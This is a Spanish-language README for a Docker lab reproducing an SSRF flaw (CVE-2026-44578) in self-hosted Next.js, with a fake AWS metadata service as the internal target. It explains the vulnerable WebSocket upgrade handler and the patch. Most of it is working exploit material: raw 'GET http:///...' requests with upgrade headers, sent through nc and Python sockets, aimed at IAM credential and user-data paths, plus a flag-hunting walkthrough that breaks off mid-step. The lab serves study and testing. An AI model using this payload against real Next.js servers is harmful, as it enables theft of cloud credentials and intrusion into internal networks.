
este laboratorio puede estar bien o mal está en pruebas pero debe funcionar pregúntale a la IA hahah
Laboratorio autocontenido para reproducir la vulnerabilidad CVE-2026-44578 (CWE-918, SSRF) en aplicaciones Next.js self-hosted que usan el servidor Node.js integrado.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Tipo | SSRF (CWE-918) |
| Versiones afectadas | Next.js 13.4.13 – 15.5.15 y 16.0.0 – 16.2.4 |
| Versiones parcheadas | 15.5.16 y 16.2.5 |
| Autenticación | ninguna |
| Interacción de usuario | ninguna |
Atacante (host: 0.0.0.0)
│ HTTP :3000 (público)
▼
┌──────────────────────────┐ mismo namespace de red ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (credenciales, │
│ (servidor Node integrado)│ │ user-data, índice) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (puerto 3000): la app vulnerable, expuesta a 0.0.0.0:3000.imds-sidecar: mock del metadata service de AWS que vive en
localhost:80 dentro del namespace del container de Next.js, modelando
una instancia real en la nube. No es alcanzable desde el host directamente
(no hay puerto publicado). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC automatizado (5 probes)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + rutas secretas
└── nextjs-app/ # App realista "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (vulnerable)
El upgrade handler de WebSocket en router-server.ts llama a proxyRequest()
cuando el URI parseado tiene parsedUrl.protocol, sin verificar los flags
finished y statusCode que el handler HTTP normal siempre emitió:
// vulnerable (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// parche (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
La ruta de ataque usa una request line con URI absoluta doble-barra:
GET http:///path. normalizeRepeatedSlashes colapsa http:/// a http:/,
quedando sin hostname, y http-proxy conecta entonces a localhost:80 con
el path intacto:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
La presencia de las cabeceras Connection: Upgrade + Upgrade: websocket hace
que el request caiga en el handler de upgrade vulnerable en vez del handler
HTTP con las verificaciones de seguridad.
docker compose up -d --build
Verificar que la app responde:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Para dejarlo funcionando en 0.0.0.0, el mapeo de puertos en
docker-compose.yml ya expone 3000:3000 en todas las interfaces.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Flujo completo 100 % manual, en 4 fases. Hay 4 flags ocultos en el
servicio interno (localhost:80); esta guía muestra el flujo hasta el
primero y te deja las rutas para encontrar el resto.
# Fingerprint del servidor
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Puertos abiertos vía socket (sin nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
No hay acceso directo a 127.0.0.1:80 desde el atacante: el único vector es
hacer que el servidor Next.js (que sí vive en la misma red que el servicio
interno) pida por nosotros.
Primero confirmamos el SSRF preguntando por el índice del metadata service:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Respuesta del índice → candidatos: instance-id, hostname,
iam/security-credentials/, user-data (primer flag). El índice de
latest/meta-data/ también revela sub-keys que conviene seguir explorando.
GET http:///latest/user-data HTTP/1.1
| Parte | Función |
|---|---|
GET | La vuln solo proxya GET |
http:///latest/user-data | URI absoluta. http:/// colapsa a http:/ → hostname null → el proxy conecta a localhost:80 conservando el path /latest/user-data |
Host: 127.0.0.1:3000 | Si no, el servedor responde 400 |
Connection: Upgrade + Upgrade: websocket | Desvían el request al handler de upgrade vulnerable (el handler HTTP normal sí valida) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | Cabeceras mínimas exigidas en un handshake legítimo |
Terminación: \r\n\r\n en el socket raw (sin cuerpo).
# Opción A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Opción B: socket raw en Python (misma precisión, sin nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
Salida — el primer flag llega en el body de la respuesta del servicio interno: